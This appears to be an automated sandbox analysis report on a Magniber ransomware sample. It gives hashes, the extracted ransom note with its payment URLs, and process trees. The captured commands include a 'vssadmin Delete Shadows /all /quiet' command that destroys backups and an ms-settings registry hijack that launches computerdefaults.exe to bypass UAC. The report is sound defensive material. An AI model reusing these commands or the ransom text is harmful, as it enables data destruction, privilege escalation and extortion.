magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Resubmissions

18-11-2021 20:38

211118-zezheaafa6 10

18-11-2021 20:37

211118-zekdgsaeh7 3

18-11-2021 20:36

211118-zdkymaaeh3 10

Analysis

max time kernel
132s
max time network
125s
platform
windows10_x64
resource
win10-en-20211014
submitted
18-11-2021 20:38

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://1a08fc10787ca270f8eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://1a08fc10787ca270f8eltalkfzj.jobsbig.cam/eltalkfzj http://1a08fc10787ca270f8eltalkfzj.boxgas.icu/eltalkfzj http://1a08fc10787ca270f8eltalkfzj.sixsees.club/eltalkfzj http://1a08fc10787ca270f8eltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://1a08fc10787ca270f8eltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://1a08fc10787ca270f8eltalkfzj.jobsbig.cam/eltalkfzj

http://1a08fc10787ca270f8eltalkfzj.boxgas.icu/eltalkfzj

http://1a08fc10787ca270f8eltalkfzj.sixsees.club/eltalkfzj

http://1a08fc10787ca270f8eltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4224	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4216	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4208	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4196	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4320	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4452	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4492	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4724	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4840	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4980	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5016	2620	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	2620	cmd.exe	95

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SearchOpen.crw => C:\Users\Admin\Pictures\SearchOpen.crw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\CompressRestore.tiff => C:\Users\Admin\Pictures\CompressRestore.tiff.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\ShowTrace.png => C:\Users\Admin\Pictures\ShowTrace.png.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\UnlockUninstall.png => C:\Users\Admin\Pictures\UnlockUninstall.png.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\DisableMove.raw => C:\Users\Admin\Pictures\DisableMove.raw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\RemoveTest.raw => C:\Users\Admin\Pictures\RemoveTest.raw.eltalkfzj	sihost.exe
File renamed	C:\Users\Admin\Pictures\ShowClose.raw => C:\Users\Admin\Pictures\ShowClose.raw.eltalkfzj	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\ApproveStart.tiff	sihost.exe
File renamed	C:\Users\Admin\Pictures\ApproveStart.tiff => C:\Users\Admin\Pictures\ApproveStart.tiff.eltalkfzj	sihost.exe
File opened for modification	C:\Users\Admin\Pictures\CompressRestore.tiff	sihost.exe
File renamed	C:\Users\Admin\Pictures\ReceiveConvertFrom.png => C:\Users\Admin\Pictures\ReceiveConvertFrom.png.eltalkfzj	sihost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 8 set thread context of 2364	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	20
PID 8 set thread context of 2372	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	19
PID 8 set thread context of 2460	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	18
PID 8 set thread context of 2568	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	24
PID 8 set thread context of 3472	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	38
PID 8 set thread context of 3656	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	37

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1356	3656	WerFault.exe	37

Modifies registry class 29 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	taskhostw.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open	sihost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1812	notepad.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe
1356	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2568	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeDebugPrivilege	1356	WerFault.exe
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	416	WMIC.exe
Token: SeSecurityPrivilege	416	WMIC.exe
Token: SeTakeOwnershipPrivilege	416	WMIC.exe
Token: SeLoadDriverPrivilege	416	WMIC.exe
Token: SeSystemProfilePrivilege	416	WMIC.exe
Token: SeSystemtimePrivilege	416	WMIC.exe
Token: SeProfSingleProcessPrivilege	416	WMIC.exe
Token: SeIncBasePriorityPrivilege	416	WMIC.exe
Token: SeCreatePagefilePrivilege	416	WMIC.exe
Token: SeBackupPrivilege	416	WMIC.exe
Token: SeRestorePrivilege	416	WMIC.exe
Token: SeShutdownPrivilege	416	WMIC.exe
Token: SeDebugPrivilege	416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	416	WMIC.exe
Token: SeRemoteShutdownPrivilege	416	WMIC.exe
Token: SeUndockPrivilege	416	WMIC.exe
Token: SeManageVolumePrivilege	416	WMIC.exe
Token: 33	416	WMIC.exe
Token: 34	416	WMIC.exe
Token: 35	416	WMIC.exe
Token: 36	416	WMIC.exe
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeShutdownPrivilege	2568	Explorer.EXE
Token: SeCreatePagefilePrivilege	2568	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	664	WMIC.exe
Token: SeSecurityPrivilege	664	WMIC.exe
Token: SeTakeOwnershipPrivilege	664	WMIC.exe
Token: SeLoadDriverPrivilege	664	WMIC.exe
Token: SeSystemProfilePrivilege	664	WMIC.exe
Token: SeSystemtimePrivilege	664	WMIC.exe
Token: SeProfSingleProcessPrivilege	664	WMIC.exe
Token: SeIncBasePriorityPrivilege	664	WMIC.exe
Token: SeCreatePagefilePrivilege	664	WMIC.exe
Token: SeBackupPrivilege	664	WMIC.exe
Token: SeRestorePrivilege	664	WMIC.exe
Token: SeShutdownPrivilege	664	WMIC.exe
Token: SeDebugPrivilege	664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	664	WMIC.exe
Token: SeRemoteShutdownPrivilege	664	WMIC.exe
Token: SeUndockPrivilege	664	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 1812	2364	sihost.exe	71
PID 2364 wrote to memory of 1812	2364	sihost.exe	71
PID 2364 wrote to memory of 844	2364	sihost.exe	73
PID 2364 wrote to memory of 844	2364	sihost.exe	73
PID 2364 wrote to memory of 780	2364	sihost.exe	74
PID 2364 wrote to memory of 780	2364	sihost.exe	74
PID 2364 wrote to memory of 2560	2364	sihost.exe	76
PID 2364 wrote to memory of 2560	2364	sihost.exe	76
PID 2560 wrote to memory of 416	2560	cmd.exe	79
PID 2560 wrote to memory of 416	2560	cmd.exe	79
PID 2372 wrote to memory of 436	2372	svchost.exe	80
PID 2372 wrote to memory of 436	2372	svchost.exe	80
PID 2372 wrote to memory of 2840	2372	svchost.exe	81
PID 2372 wrote to memory of 2840	2372	svchost.exe	81
PID 780 wrote to memory of 664	780	cmd.exe	84
PID 780 wrote to memory of 664	780	cmd.exe	84
PID 2840 wrote to memory of 2748	2840	cmd.exe	85
PID 2840 wrote to memory of 2748	2840	cmd.exe	85
PID 2460 wrote to memory of 3168	2460	taskhostw.exe	87
PID 2460 wrote to memory of 3168	2460	taskhostw.exe	87
PID 2460 wrote to memory of 1412	2460	taskhostw.exe	86
PID 2460 wrote to memory of 1412	2460	taskhostw.exe	86
PID 436 wrote to memory of 2076	436	cmd.exe	90
PID 436 wrote to memory of 2076	436	cmd.exe	90
PID 2568 wrote to memory of 2152	2568	Explorer.EXE	91
PID 2568 wrote to memory of 2152	2568	Explorer.EXE	91
PID 2568 wrote to memory of 2776	2568	Explorer.EXE	93
PID 2568 wrote to memory of 2776	2568	Explorer.EXE	93
PID 1412 wrote to memory of 1652	1412	cmd.exe	96
PID 1412 wrote to memory of 1652	1412	cmd.exe	96
PID 3472 wrote to memory of 1640	3472	RuntimeBroker.exe	97
PID 3472 wrote to memory of 1640	3472	RuntimeBroker.exe	97
PID 3472 wrote to memory of 3576	3472	RuntimeBroker.exe	98
PID 3472 wrote to memory of 3576	3472	RuntimeBroker.exe	98
PID 2776 wrote to memory of 2068	2776	cmd.exe	102
PID 2776 wrote to memory of 2068	2776	cmd.exe	102
PID 3168 wrote to memory of 3136	3168	cmd.exe	101
PID 3168 wrote to memory of 3136	3168	cmd.exe	101
PID 8 wrote to memory of 3188	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	103
PID 8 wrote to memory of 3188	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	103
PID 8 wrote to memory of 3688	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	104
PID 8 wrote to memory of 3688	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	104
PID 2152 wrote to memory of 3712	2152	cmd.exe	106
PID 2152 wrote to memory of 3712	2152	cmd.exe	106
PID 3576 wrote to memory of 332	3576	cmd.exe	108
PID 3576 wrote to memory of 332	3576	cmd.exe	108
PID 8 wrote to memory of 1316	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	109
PID 8 wrote to memory of 1316	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	109
PID 8 wrote to memory of 892	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	110
PID 8 wrote to memory of 892	8	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	110
PID 1640 wrote to memory of 4000	1640	cmd.exe	113
PID 1640 wrote to memory of 4000	1640	cmd.exe	113
PID 3188 wrote to memory of 3692	3188	cmd.exe	114
PID 3188 wrote to memory of 3692	3188	cmd.exe	114
PID 3688 wrote to memory of 3644	3688	cmd.exe	115
PID 3688 wrote to memory of 3644	3688	cmd.exe	115
PID 892 wrote to memory of 3328	892	cmd.exe	116
PID 892 wrote to memory of 3328	892	cmd.exe	116
PID 1316 wrote to memory of 2268	1316	cmd.exe	117
PID 1316 wrote to memory of 2268	1316	cmd.exe	117
PID 4320 wrote to memory of 4460	4320	cmd.exe	135
PID 4320 wrote to memory of 4460	4320	cmd.exe	135
PID 4208 wrote to memory of 4480	4208	cmd.exe	133
PID 4208 wrote to memory of 4480	4208	cmd.exe	133

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2460
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:1652
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3168
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2372
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:436
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2076
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2748

c:\windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2364
- \??\c:\windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1812
- \??\c:\windows\system32\cmd.exe
  cmd /c "start http://1a08fc10787ca270f8eltalkfzj.jobsbig.cam/eltalkfzj^&1^&57337033^&101^&371^&2215063"
  2⤵
  PID:844
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:664
- \??\c:\windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:416

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
  "C:\Users\Admin\AppData\Local\Temp\1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3692
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3644
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1316
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:2268
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:892
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
      4⤵
      PID:3328
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3712
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:2068

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3656
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3656 -s 828
  2⤵
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1356

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:4000
- C:\Windows\System32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:332

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4224
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4564

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4216
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4580

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4208
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4480

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4196
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4528

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4460

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4416
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:4676

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:4452
